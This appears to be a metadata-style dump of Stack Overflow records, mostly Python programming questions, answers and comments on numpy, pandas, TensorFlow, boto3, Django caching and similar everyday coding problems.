has body: How do I apply a more-dimension data to less-dimension function? Let's say I have numpy array of shape (5, 100, 300). I calculate mean on given axis &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; from scipy.stats.stats import pearsonr &gt;&gt;&gt; data = np.zeros((5, 100, 300)) &gt;&gt;&gt; means = data.mean(axis=1) &gt;&gt;&gt; means.shape (5, 300) I want to calculate pearson correlation between mean and each element. I tried: q = pearsonr(data, means) witch obviously did not work. So I tried to add a loop hoping it will work like many other numpy functions and apply function along axis (despite missing axis argument): &gt;&gt;&gt; pearson = np.empty((5, 100, 2)) &gt;&gt;&gt; for index in range(100): pearson[:, index] = pearsonr(data[:, index], means) and got ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() Obvious workaround was to add another loop: &gt;&gt;&gt; for index in range(data.shape[0]): for subindex in range(data.shape[1]): pearson[index, subindex] = pearsonr(data[index, subindex], means[index]) which worked well. But it seems like "not a numpy way". And the actual dataset I use has more dimensions, which means more nested loops. Is there any more efficient way to get what I want?
tagged with: scipy
has title: Proper/efficient way to apply multidimensional data to less-dimensional function
has comment: http://stackoverflow.com/comment/86205844
favorite count: 0
type: Question

http://stackoverflow.com/q/49542667
has title: Entering data in oracle 11g from semicolon separated text file using python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49558335
tagged with: python
score: 0
answer count: 2
tagged with: cx-oracle
has answer: http://stackoverflow.com/a/49544563
tagged with: oracle11g
type: Question
has body: Hi I am trying to enter data that is stored in semicolon separated text file using cx_Oracle(Python). conn = co.connect('system/ayush@127.0.0.1/xe') cur = conn.cursor() f = open("C:\\Users\\goyal\\district.txt","r") for line in f: record_split = line.split(";") cur.execute("INSERT INTO Demographic('A1','A2','A3') VALUES (record_split[0],record_split[1],record_split[2])") conn.commit() However , it is giving me following error DatabaseError Traceback (most recent call last) &lt;ipython-input-16-4cbe704bce0e&gt; in &lt;module&gt;() 4 for line in f: 5 record_split = line.split(";") ----&gt; 6 cur.execute("INSERT INTO Demographics('A1','A2','A3') VALUES(record_split[0],record_split[1],record_split[2]") 7 conn.commit() DatabaseError: ORA-00928: missing SELECT keyword Why is this error coming and how to solve this? EDIT I find python tutorial of reading csv and found this method lines = csv.reader(open("district.txt","r"),delimiter=';') next(lines,None) for line in lines: cur.execute("INSERT INTO Demographics(A1,A2,A3) VALUES(:1,:2,:3)",line) conn.commit() However this read everything as text (even integer and float value) . So to enter value in database I have to explicitly change value to int and float is there any better way.

http://stackoverflow.com/comment/85976833
has text: No, this class does not exist. You have no choice but to implement it yourself. We won't write the whole thing for you, so please post your code so we can help you fix it.
score: 4
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49487085

http://stackoverflow.com/comment/85973096
type: QuestionComment
type: Comment
has text: I think this is going to be excessively challenging without the groupby.
comment on: http://stackoverflow.com/q/49485160
score: 0

http://stackoverflow.com/q/49511529
type: Question
has body: I have my data tensor which is of the shape [batch_size,512] and I have a constant matrix with values only of 0 and 1 which has the shape [256,512]. I would like to compute efficiently for each batch the sum of the products of my vector (second dimension of the data tensor) only for the entries which are 1 and not 0. An explaining example: let us say I have 1-sized batch: the data tensor has the values [5,4,3,7,8,2] and my constant matrix has the values: [0,1,1,0,0,0] [1,0,0,0,0,0] [1,1,1,0,0,1] it means that I would like to compute for the first row 4*3, for the second 5 and for the third 5*4*3*2. and in total for this batch, I get 4*3+5+5*4*3*2 which equals to 137. Currently, I do it by iterating over all the rows, compute elementwise the product of my data and constant-matrix-row and then sum, which runs pretty slow.
accepted answer: http://stackoverflow.com/a/49511686
tagged with: python
has answer: http://stackoverflow.com/a/49511686
tagged with: binary-matrix
type: AnsweredQuestion
has title: Tensorflow compute multiplication by binary matrix
downvote count: 0
answer count: 1
score: 1
upvote count: 1
tagged with: tensorflow
favorite count: 0

http://stackoverflow.com/comment/86164259
comment on: http://stackoverflow.com/q/49556497
type: QuestionComment
has text: It is not easy to work with incomplete code. This is why we ask for the MCVE example so we can take your issue and reproduce the problem in our IDE.
type: Comment
score: 0

http://stackoverflow.com/a/49502479
downvote count: 0
has comment: http://stackoverflow.com/comment/130332549
has comment: http://stackoverflow.com/comment/88135349
has comment: http://stackoverflow.com/comment/88132352
accepted answer of: http://stackoverflow.com/q/49499903
upvote count: 8
has comment: http://stackoverflow.com/comment/88133720
type: Answer
has comment: http://stackoverflow.com/comment/88135464
answers question: http://stackoverflow.com/q/49499903
has comment: http://stackoverflow.com/comment/88132315
score: 8
has body: Original answer: List of that object does the trick import can import csv filename = "test.blf" log = can.BLFReader("test.blf") log = list(log) log_output = [] for msg in log: msg = str(msg) log_output.append([msg[18:26],msg[38:40],msg[40:42],msg[46],msg[62],msg[67:90]]) with open("output.csv", "w", newline='') as f: writer = csv.writer(f,delimiter=';', quotechar='\"', quoting=csv.QUOTE_ALL) writer.writerows(log_output) New answer: Since I've posted this I actually created a library which provides a pandas like API for CAN data. Check it out here. A demonstration of features can be found here. Common format for dealing with CAN data Enrich plots of the logging data with data from the dbc files automatically Versatile and extensible plotting functions for all kinds of signals Easily export CAN data to a pandas dataframe import candas as cd db = cd.load_dbc("dbc_folder") # Provide file without extension log_data = cd.from_file("blf_file") # Signals can be accessed like this log_data["AVGcellTemperature"]
has comment: http://stackoverflow.com/comment/130298979
type: AcceptedAnswer

http://stackoverflow.com/comment/86089196
score: 2
comment on: http://stackoverflow.com/q/49540872
type: QuestionComment
has text: You should implement the magic method `__len__` instead of `size`.
type: Comment

http://stackoverflow.com/comment/86105916
type: Comment
type: QuestionComment
score: 0
has text: Please explain clearly how the example fails to meet your expectations.
comment on: http://stackoverflow.com/q/49542807

http://stackoverflow.com/comment/86137786
score: 0
type: Comment
has text: please check this thread https://stackoverflow.com/questions/49564776/get-all-xpath-intersection-of-two-sets-on-the-page
type: AnswerComment
comment on: http://stackoverflow.com/a/49563960

static-libraries
tag name: static-libraries
type: Tag
tags question: http://stackoverflow.com/q/49586670

http://stackoverflow.com/comment/86035283
comment on: http://stackoverflow.com/q/49515001
score: 0
type: Comment
type: QuestionComment
has text: Good point. I've already maintained a local pypi mirror in the past, but I'd like to use a simpler solution in this case.

http://stackoverflow.com/comment/91721145
comment on: http://stackoverflow.com/a/49511686
type: Comment
has text: Thanks. There is no something else more generic which can work both when batch size is 1 or more?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85977518
comment on: http://stackoverflow.com/q/49487468
score: 1
type: Comment
has text: pip install --upgrade pip --user -> /usr/local/bin/pip install --upgrade pip --user or just cd to /usr/local/bin/pip, then same comand pip install --upgrade pip --user
type: QuestionComment

http://stackoverflow.com/comment/130298979
comment on: http://stackoverflow.com/a/49502479
type: AnswerComment
has text: @JulianWgs I have a little bit of a doubt in using your CANdas library. I'm trying to work with the library but I am running into some issues. Your help would be greatly appreciated.
score: 0
type: Comment

http://stackoverflow.com/q/49451653
accepted answer: http://stackoverflow.com/a/49451867
has comment: http://stackoverflow.com/comment/85905817
has comment: http://stackoverflow.com/comment/85905783
has comment: http://stackoverflow.com/comment/85905973
has answer: http://stackoverflow.com/a/49451867
downvote count: 2
tagged with: declare
has title: Best practice for declaring an empty variable
has comment: http://stackoverflow.com/comment/85905996
tagged with: python
upvote count: 6
score: 4
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/85905757
has comment: http://stackoverflow.com/comment/85905971
has comment: http://stackoverflow.com/comment/85906040
has comment: http://stackoverflow.com/comment/85906117
has comment: http://stackoverflow.com/comment/85906082
possible better answer: http://stackoverflow.com/a/49451918
tagged with: string
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49451918
has body: I know Python is a dynamic language and declaring variables before-hand is generally not necessary, but in the case where I need to create a variable and then give it a value later, both of the following methods work: some_variable = '' some_variable = str() Is there a difference between both of these and which is considered best practice? Example: some_variable = str() for number in range(10): some_variable += str(number) print(some_variable) Works for both some_variable = '' and some_variable = str() By best practice I do not mean "which is best coding style/most readable" but rather factors such as memory consumption, speed and which on the whole is more reliable for general use.

http://stackoverflow.com/comment/86164812
has text: This can definitely be made more concise, but stuffing it into one line seems misguided.
score: 2
comment on: http://stackoverflow.com/q/49578587
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49458228
tagged with: python
tagged with: boto3
has body: I am trying to use Python boto3 to describe ELB SecurityGroup and list all it's rules. However, there is an error saying that I am not using default VPC. I try to filter and specify non-default VPC vpc-67890, but it doesn't help: client = boto3.client('ec2') response = client.describe_security_groups( ...: Filters = [ ...: { ...: 'Name': 'vpc-id', ...: 'Values': [ ...: 'vpc-67890']}, ...: ], ...: GroupNames=['SG_NAME']) ClientError: An error occurred (InvalidGroup.NotFound) when calling the DescribeSecurityGroups operation: The security group 'SG_NAME' does not exist in default VPC 'vpc-12345' I tried using boto3 Resource, but it's the same problem and it doesn't return all SecurityGroups, just empty response: ec2 = boto3.resource('ec2') vpc = ec2.Vpc('vpc-67890') all_security_groups = vpc.security_groups.all() specific_security_group = vpc.security_groups.filter(GroupNames=['SG_NAME']) for i in all_security_groups: print i (no response) When I query for specific group which I filtered, it throws an error: for i in specific_security_group: print i ClientError: An error occurred (InvalidGroup.NotFound) when calling the DescribeSecurityGroups operation: The security group 'SG_NAME' does not exist in default VPC 'vpc-12345' I am aware that it requires GroupID instead of GroupName if non-default VPC is being used, but the problem is that describe_elb API returns only GroupName. The same is happening when trying to describe SecurityGroup via AWS Cli: $ aws ec2 describe-security-groups --group-names SG_NAME An error occurred (InvalidGroup.NotFound) when calling the DescribeSecurityGroups operation: The security group 'SG_NAME' does not exist in default VPC 'vpc-12345' Anyone having the same issue? Thanks in advance.
type: AnsweredQuestion
score: 0
answer count: 1
tagged with: amazon-web-services
type: Question
accepted answer: http://stackoverflow.com/a/49458914
has title: Describe ELB AWS security group rules by SG name
has answer: http://stackoverflow.com/a/49458914

http://stackoverflow.com/comment/86217324
has text: @macsontaylor It is not a issue, it is another requirement that looks a lot but is not the same, please create another question and I will be happy to try to help you.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49594923
type: Comment

http://stackoverflow.com/comment/86151545
comment on: http://stackoverflow.com/a/49570796
type: Comment
score: 1
type: AnswerComment
has text: Yes, it won't print because the output is redirected. But why don't you use `print` instead of calling the command twice? I updated my code to give an example.

circular-list
tags question: http://stackoverflow.com/q/49595144
tag name: circular-list
type: Tag

http://stackoverflow.com/comment/86041161
type: QuestionComment
score: 0
has text: I tried option like self.driver.find_element_by_xpath("//*[@id='grp_perc']") but that did not help me earlier
comment on: http://stackoverflow.com/q/49517810
type: Comment

del
tag name: del
tags question: http://stackoverflow.com/q/49454829
type: Tag

http://stackoverflow.com/a/79063186
type: Answer
score: 0
has body: Use os.path.basename and removesuffix: import os sample_name = os.path.basename('/home/reads_dataset_1/E2_ER/E2_ER_exp1_L1.fastq.gz').removesuffix('.fastq.gz') # sample_name = 'E2_ER_exp1_L1'
answers question: http://stackoverflow.com/q/49536476

http://stackoverflow.com/a/67958116
downvote count: 0
score: 2
type: Answer
has body: I have tried all these solutions, but it didnt worked well for me But! I have got the solution, Heres the code: path_to_watch = "your/path" print('Your folder path is"',path,'"') before = dict ([(f, None) for f in os.listdir (path_to_watch)]) while 1: after = dict ([(f, None) for f in os.listdir (path_to_watch)]) added = [f for f in after if not f in before] if added: print("Added: ", ", ".join (added)) break else: before = after I have edited the code, the orginal code is available at http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html The original code was made in python 2x so you need to convert it in python 3. Note: Whenever you add any file in path, it prints the text and breaks, and if no files are added then it would continue to run.
answers question: http://stackoverflow.com/q/49557421
upvote count: 2

http://stackoverflow.com/q/49537392
has title: django-redis invalid DB index error and redis url's meaning
has body: I'm using django-redis: https://niwinz.github.io/django-redis/latest/ While setting and testing cache, I have a question. From this: https://niwinz.github.io/django-redis/latest/#_installation There is code like this: CACHES = { "default": { "BACKEND": "django_redis.cache.RedisCache", "LOCATION": "redis://127.0.0.1:6379/1", "OPTIONS": { "CLIENT_CLASS": "django_redis.client.DefaultClient", } } } When I use this unchanging any of this LOCATION code as: "LOCATION": "redis://127.0.0.1:6379/1", It is doing well. Even "LOCATION": "redis://127.0.0.1:6379/2" It seems to do works well. But If I change this like "LOCATION": "redis://127.0.0.1:6379/220", It returns invalid DB index error. Question: Why this happened? What does parameter mean from "LOCATION": "redis://127.0.0.1:6379/parameter"? Here is traceback: Environment: Request Method: GET Request URL: http://127.0.0.1:8000/test/ Django Version: 2.0.2 Python Version: 3.6.3 Installed Applications: ['django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'post', 'website'] Installed Middleware: ['django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.cache.UpdateCacheMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.cache.FetchFromCacheMiddleware'] Traceback: File "D:\pythonDev\interpreters\forMultichat\lib\site-packages\django_redis\cache.py" in _decorator 32. return method(self, *args, **kwargs) File "D:\pythonDev\interpreters\forMultichat\lib\site-packages\django_redis\cache.py" in get 81. client=client) File "D:\pythonDev\interpreters\forMultichat\lib\site-packages…
upvote count: 2
type: AnsweredQuestion
score: 2
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/49537644
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49537644
tagged with: redis
tagged with: django
tagged with: python

http://stackoverflow.com/comment/85940465
type: Comment
comment on: http://stackoverflow.com/q/49468998
type: QuestionComment
has text: You've already read _all_ of the file's data the first time you called `file.read`. The next time `file.read` is called, there is no data left to return, so `file.read` returns an empty string. Thus, `str.find` will, indeed, return `-1`.
score: 1

http://stackoverflow.com/a/49565049
has comment: http://stackoverflow.com/comment/86172114
answers question: http://stackoverflow.com/q/49564874
type: Answer
has comment: http://stackoverflow.com/comment/86168266
has comment: http://stackoverflow.com/comment/86167651
has comment: http://stackoverflow.com/comment/86167052
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/86138381
downvote count: 0
has comment: http://stackoverflow.com/comment/86139130
has comment: http://stackoverflow.com/comment/86138508
has body: You can take your column and send it through to_string: output = df.to_string(formatters={'growth_rate': '{:,.2%}'.format}) print(output) growth_rate 0 23.45% 1 14.73% 2 nan% 3 25.00% This doesn't change your data frame (which is still in float): In [ 7]: df Out[ 7]: growth_rate 0 0.2345 1 0.1473 2 NaN 3 0.2500 but generates a string representation of the growth_rate column you can print. To output all the columns, pass a list of formatters as long as the number of columns: df['growth_rate2'] = [0.1,0.04,0.876,np.nan] output = df.to_string(formatters=['{:,.2%}'.format]*2) To output only particular columns in your special format, use a dictionary with the column names as the keys: df['growth_rate3'] = [0.071,0.02,0.,0.66] df.to_string(formatters={'growth_rate': '{:,.2%}'.format, 'growth_rate3': '{:,.2%}'.format})
has comment: http://stackoverflow.com/comment/86168968

http://stackoverflow.com/comment/85887960
type: AnswerComment
has text: @user2125827 You'll need to iterate through each dictionary in the list and change `["submission"]["status"]` to `"queued"`
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49442992

http://stackoverflow.com/comment/86156734
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49568121
has text: Hmm still no dice.. Traceback (most recent call last): File "s3test1.py", line 37, in <module> for node in parsed_xml.getroot(): AttributeError: 'Element' object has no attribute 'getroot'
type: AnswerComment

http://stackoverflow.com/comment/86163311
comment on: http://stackoverflow.com/q/49577387
type: Comment
type: QuestionComment
has text: @scnerd the slopes you could call extremely close, but the intercepts are different by a factor of 4, not very close in my opinion, causing such a difference that it throws off my whole results.
score: 0

http://stackoverflow.com/q/49569119
has comment: http://stackoverflow.com/comment/86146227
has title: Python 3, complex string sorting using regex
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49569216
answer count: 2
has answer: http://stackoverflow.com/a/49569216
score: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49569207
has body: I have files with names like this: 'aaaa 4b 123b.txt' 'aaaa 4b 124b.txt' 'aaaa 4b 125b.txt' 'aaaa 4b 126b.txt' 'aaaa 4b 127b.txt' 'aaaa 4b 128b.txt' 'aaaa 4b 129 (123c)b.txt' 'aaaa 4b 129 (124c)b.txt' 'aaaa 4b 129 (125c)b.txt' 'aaaa 4b 129 (126c)b.txt' 'aaaa 4b 129 (127c)b.txt' 'aaaa 4b 129b.txt' 'aaaa 4b 130b.txt' 'aaaa 4b 131b.txt' 'aaaa 4b 132b.txt' Each files names are stored in a list using os.listdir(path) The above is how the files should be sorted, but my files are, in fact, not sorted at all. The parenthesis inside the file names in 129-series makes the issue complicated. If there were no parenthesis in some of the file names, I can sort using, List.sort(key = lambda x: int(re.search('([0-9]+)(b.txt)', x).group(1))) But How can I make exceptions for files that have parenthesis, and sort everything at once? Edit: Original (unsorted list) ['aaaa 4b 128b.txt', 'aaaa 4b 127b.txt', 'aaaa 4b 129 (127c)b.txt', 'aaaa 4b 131b.txt', 'aaaa 4b 123b.txt', 'aaaa 4b 129 (125c)b.txt' ...] How I want it to be: ['aaaa 4b 123b.txt', 'aaaa 4b 124b.txt', 'aaaa 4b 125b.txt' ... 'aaaa 4b 128b.txt', 'aaaa 4b 129 (124c)b.txt', 'aaaa 4b 129 (125c)b.txt', ... 'aaaa 4b 131b.txt', 'aaaa 4b 132b.txt']
has answer: http://stackoverflow.com/a/49569207
tagged with: python
tagged with: sorting
tagged with: regex

http://stackoverflow.com/comment/86018231
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49450167
type: Comment
has text: @Alex nope. `pytest` expects that `hook` will return the generator

http://stackoverflow.com/q/49475217
has body: I have two numpy multi dimmensional matrices that have five features each like this array1 = array([ 1. , 0.97572023, 0.97671645, 0.99772446, 0.99326534, 0.94841498]....) array2 = array([ 0.97572023, 1. , 0.99343976, 0.9844228 , 0.9880037 , 0.96203135]....) I want to plot these multidimesional matrices as colormaps and label each feature on the graph..Whats the best way to plot multidimensional array. from matplotlib import pyplot as plt from matplotlib import cm as cm fig = plt.figure() ax1 = fig.add_subplot(111) cmap = cm.get_cmap('jet', 30) cax = ax1.imshow(df, interpolation="nearest", cmap=cmap) ax1.grid(True) plt.title('Abalone Feature Correlation') labels=['feat1','feat2','feat3','feat4','feat5'] ax1.set_xticklabels(labels,fontsize=6) ax1.set_yticklabels(labels,fontsize=6) # Add colorbar, make sure to specify tick locations to match desired ticklabels fig.colorbar(cax, ticks=[0.1,0.2,0.3,0.4,0.5,0.6,.75,.8,.85,.90,.95,1]) plt.show() I am using this function but the features are not displayed properly..The labels and the points are not displayed correctly.Any help?
has comment: http://stackoverflow.com/comment/85953154
type: UnansweredQuestion
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/85953193
upvote count: 1
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/49475481
has comment: http://stackoverflow.com/comment/85953321
has comment: http://stackoverflow.com/comment/85953100
score: 1
tagged with: matplotlib
type: Question
tagged with: numpy
has title: Plot the two matrices as colormaps on the same graph
has comment: http://stackoverflow.com/comment/85953430

http://stackoverflow.com/a/49498804
has comment: http://stackoverflow.com/comment/86002787
has comment: http://stackoverflow.com/comment/86002185
has comment: http://stackoverflow.com/comment/86002148
has comment: http://stackoverflow.com/comment/86005875
has comment: http://stackoverflow.com/comment/86002718
has body: Create two mappings, one for &lt;city : state&gt;, and another for &lt;city : country&gt;. city_map = dict(zip(city, state)) country_map = dict(zip(city, country)) Next, set City as the index - df = df.set_index('City') And, finally use map/replace to transform keys to values as appropriate - df['State'] = df['City'].map(city_map) df['Country'] = df['City'].map(country_map) As an extra final step, you may call df.reset_index() at the end.
has comment: http://stackoverflow.com/comment/86005551
accepted answer of: http://stackoverflow.com/q/49498636
type: Answer
has comment: http://stackoverflow.com/comment/86002127
has comment: http://stackoverflow.com/comment/86002002
answers question: http://stackoverflow.com/q/49498636
has comment: http://stackoverflow.com/comment/86002020
upvote count: 2
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86002844
has comment: http://stackoverflow.com/comment/86002218
type: AcceptedAnswer

http://stackoverflow.com/a/55342527
has body: Solution is generate new type dynamicly: from PyQt5.QtCore import pyqtSlot, pyqtProperty, pyqtSignal, QObject def getter(name): def wrapped(self): return self._proxy[name] return wrapped def setter(name): def wrapped(self,v): self._proxy[name] = v getattr(self,'proxy_changed').emit() return wrapped def dict2props(data): on_changed = pyqtSignal() r = { '_proxy': data, 'proxy_changed': on_changed } for k in data: typ = type(data[k]) setter.__name__ = "set_"+k getter.__name__ = "get_"+k r[k] = pyqtProperty(typ, fget=getter(k), fset=setter(k), notify=on_changed) return r settings = {'as':12} settingsproxy = type('Settings', (QObject,), dict2props(settings))() Signal not tested (will edit answer then done). I used common Signal for all properties. But it can be generated too. ... def setter(self,v): self._proxy[k] = v getattr(self,k+'_changed').emit() r[k+'_changed'] = pyqtSignal() r[k] = pyqtProperty(typ,fget=lambda s: self._proxy[k], fset=setter, notify=r[k+'_changed']) ...
answers question: http://stackoverflow.com/q/49479603
upvote count: 2
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/comment/85993585
has text: Hrm.. I not not completely sure if you want to increase your floor or your reset interval. Would you mind creating a new question with same data again and expected output?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49491909
score: 0

http://stackoverflow.com/q/49524210
answer count: 1
downvote count: 0
tagged with: websocket
score: 1
tagged with: signalr
favorite count: 0
type: Question
has body: How to communicate with a signalr websocket without having to use node.js or other non-Python dependencies? For example, how to connect to the following websocket: https://github.com/ericsomdahl/python-bittrex/issues/57#issuecomment-343772197 Running the code from the above example results in: OSError: Missing Node.js runtime. Node is required. Please read the cfscrape README's Dependencies section: https://github.com/Anorov/cloudflare-scrape#dependencies. Likewise the following sample application from python's signalr-client has many non python dependencies: https://github.com/TargetProcess/signalr-client-py#sample-application How to connect and communicate with signalr websockets without needing to install any non python dependencies?
has title: How to connect and communicate with a signalr websocket without installing/using node.js/.net?
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/51083959
has answer: http://stackoverflow.com/a/51083959
type: AnsweredQuestion

http://stackoverflow.com/comment/85991985
comment on: http://stackoverflow.com/a/49486907
has text: This is completely unrelated to this question. Accept this answer and open a new question, with detailed information etc.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86016062
score: 0
comment on: http://stackoverflow.com/a/49504527
has text: I was saying that while my answer is the specific error you asked about, you are going to need to read the docs to answer the next three problems you are going to have.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86035802
comment on: http://stackoverflow.com/q/49514899
type: Comment
type: QuestionComment
score: 5
has text: Try: `a = np.arange(1240).reshape(40, 31)` `c = np.ones((40, 1))` `b = a**c`. No loop required.

http://stackoverflow.com/comment/86181509
comment on: http://stackoverflow.com/q/49583466
type: QuestionComment
has text: Using the sigmoid activation will lead to vanishing gradient problems, just don't use it.
type: Comment
score: 0

concurrency
tags question: http://stackoverflow.com/q/49527625
tag name: concurrency
tags question: http://stackoverflow.com/q/49452238
tags question: http://stackoverflow.com/q/49527400
tags question: http://stackoverflow.com/q/49454072
type: Tag
tags question: http://stackoverflow.com/q/49466794

http://stackoverflow.com/comment/86129227
score: 2
type: AnswerComment
type: Comment
has text: Thanks for your reply Chris. I checked in the hooks folder and there's already a file in the hooks dir called hook-sklearn.metrics.cluster.py: `# Tested on Windows 7 64bit with scikit-learn 0.17 and Python 2.7 hiddenimports = ['sklearn.utils.sparsetools._graph_validation', 'sklearn.utils.sparsetools._graph_tools', 'sklearn.utils.lgamma', 'sklearn.utils.weight_vector']'` I also added a print statement in this hook, which verifies that it's being called. It appears directly before the warnings now.
comment on: http://stackoverflow.com/a/49560245

http://stackoverflow.com/comment/86142247
score: 0
has text: I would recommend using your code to pre-merge the brand and style into one string with either `+` or `%20` and sending it as one term. `'query':'freepeople+top'`
comment on: http://stackoverflow.com/q/49566866
type: Comment
type: QuestionComment

eval
tag name: eval
tags question: http://stackoverflow.com/q/49469132
type: Tag
tags question: http://stackoverflow.com/q/49572409

http://stackoverflow.com/a/49480196
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49479897
score: 3
type: Answer
has body: We can use np.tensordot - np.tensordot(A,B,axes=(1,0)).swapaxes(1,2) Related post to understand tensordot. Under the hoods, it does reshaping, alignes axes by permuting and then uses BLAS based matrix-multiplication with np.dot. That dirty work would look something along these lines - A.swapaxes(1,2).reshape(-1,n).dot(B).reshape(n,-1,n).swapaxes(1,2) Starting off with B, it would be something like this - B.T.dot(A.swapaxes(0,1).reshape(n,-1)).reshape(n,n,-1).swapaxes(0,1) Benchmarking Setup - np.random.seed(0) n,M = 50,50 A = np.random.rand(n,n,M) B = np.random.rand(n,n) Timings - # @Psidom's soln-1 In [18]: %timeit np.einsum('ijk,jl-&gt;ilk', A, B) 100 loops, best of 3: 10.2 ms per loop # @Psidom's soln-2 In [19]: %timeit (A.transpose(2,0,1) @ B).transpose(1,2,0) 100 loops, best of 3: 10.7 ms per loop # @Psidom's einsum soln-1 with optimize set as True In [20]: %timeit np.einsum('ijk,jl-&gt;ilk', A, B,optimize=True) 1000 loops, best of 3: 1.17 ms per loop In [21]: %timeit np.tensordot(A,B,axes=(1,0)).swapaxes(1,2) 1000 loops, best of 3: 1.09 ms per loop In [22]: %timeit A.swapaxes(1,2).reshape(-1,n).dot(B).reshape(n,-1,n).swapaxes(1,2) 1000 loops, best of 3: 1.03 ms per loop In [23]: %timeit B.T.dot(A.swapaxes(0,1).reshape(n,-1)).reshape(n,n,-1).swapaxes(0,1) 1000 loops, best of 3: 951 µs per loop
upvote count: 3
answers question: http://stackoverflow.com/q/49479897
downvote count: 0
has comment: http://stackoverflow.com/comment/85963378

http://stackoverflow.com/q/49538033
tagged with: pandas
has comment: http://stackoverflow.com/comment/86083377
tagged with: http://stackoverflow.com/tag/json
answer count: 1
type: Question
has title: Merge 2 relational dataframes to nested JSON / dataframe
has comment: http://stackoverflow.com/comment/86115624
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49538221
tagged with: http://stackoverflow.com/tag/csv
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/86115689
has body: I have another problem with joining to dataframes using pandas. I want to merge a complete dataframe into a column/field of another dataframe where the foreign key field of DF2 matches the unique key of DF1. The input data are 2 CSV files roughly looking likes this: CSV 1 / DF 1: cid;name;surname;address 1;Mueller;Hans;42553 2;Meier;Peter;42873 3;Schmidt;Micha;42567 4;Pauli;Ulli;98790 5;Dick;Franz;45632 CSV 2 / DF 1: OID;ticketid;XID;message 1;9;1;fgsgfs 2;8;2;gdfg 3;7;3;gfsfgfg 4;6;4;fgsfdgfd 5;5;5;dgsgd 6;4;5;dfgsgdf 7;3;1;dfgdhfd 8;2;2;dfdghgdh I want each row of DF2, which XID matches with a cid of DF1, as a single field in DF1. my final goal is to convert the above input files into a nested JSON format. Edit 1: Something like this: [ { "cid": 1, "name": "Mueller", "surname": "Hans", "address": 42553, "ticket" :[{ "OID": 1, "ticketid": 9, "XID": 1, "message": "fgsgfs" }] }, ...] Edit 2: Some further thoughts: Would it be possible to create a dictionary of each row in dataframe 2 and then append this dictionary to a new column in dataframe 1 where some value (xid) of the dictionary matches with a unique id in a row (cid) ? Some pseudo code I have in my mind: Add new column "ticket" in DF1 Iterate over rows in DF2: row to dictionary iterate over DF1 find row where cid = dict.XID append dictionary to field in "ticket" convert DF1 to JSON Non Python solution are also acceptable.
has comment: http://stackoverflow.com/comment/86083290
score: 0

http://stackoverflow.com/comment/85968390
score: 1
comment on: http://stackoverflow.com/a/49482550
type: Comment
type: AnswerComment
has text: Cheers I should look at that function. And I have figured it out. Thanks for the patience.

http://stackoverflow.com/q/49524461
downvote count: 0
upvote count: 1
tagged with: python
tagged with: flask
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49592585
has title: Use Flask-Mongoengine with existing Mongoengine documents
has body: We are planning to develop an app using Flask and Mongoengine. However, we already have some mongoengine document definitions used in a non flask app, and if possible we would like to refactor those definitions into one package, in order to use it from bothe the flask and the non flask application. Is this possible? I've read the init code for Flask Mongoengine, and it seems it just overrides some base classes for documents, and pulls the config from the flask app. Also, ive found this (unanswered) question: Pulling basic mongoengine document definitions into flask-mongoengine
score: 1
answer count: 1
tagged with: flask-mongoengine
accepted answer: http://stackoverflow.com/a/49592585
tagged with: mongoengine
linked to: http://stackoverflow.com/q/43866098
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/34050941

http://stackoverflow.com/comment/85929570
type: QuestionComment
comment on: http://stackoverflow.com/q/49463341
score: 1
has text: ...or write a management command as it is intended.
type: Comment

http://stackoverflow.com/comment/85923290
has text: Or you can just sum up the numbers in `range(4, n+1, 8)` and then subtract out the numbers in `range(8, n+1, 8)`. Which has the advantage that you can turn it into a simple one-liner. (And the disadvantage that you can't turn this into an infinite partial-sums generator.)
comment on: http://stackoverflow.com/q/49460128
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/86092487
type: Comment
comment on: http://stackoverflow.com/a/49541304
has text: Or: `{name: locals()[name].shape for name in "abcd"}`
type: AnswerComment
score: 1

http://stackoverflow.com/comment/86154760
type: Comment
type: QuestionComment
has text: `if v+1 in x: print x.index(v+1)` - this might be helpful.
score: 2
comment on: http://stackoverflow.com/q/49573673

http://stackoverflow.com/q/49480281
upvote count: 1
downvote count: 1
favorite count: 0
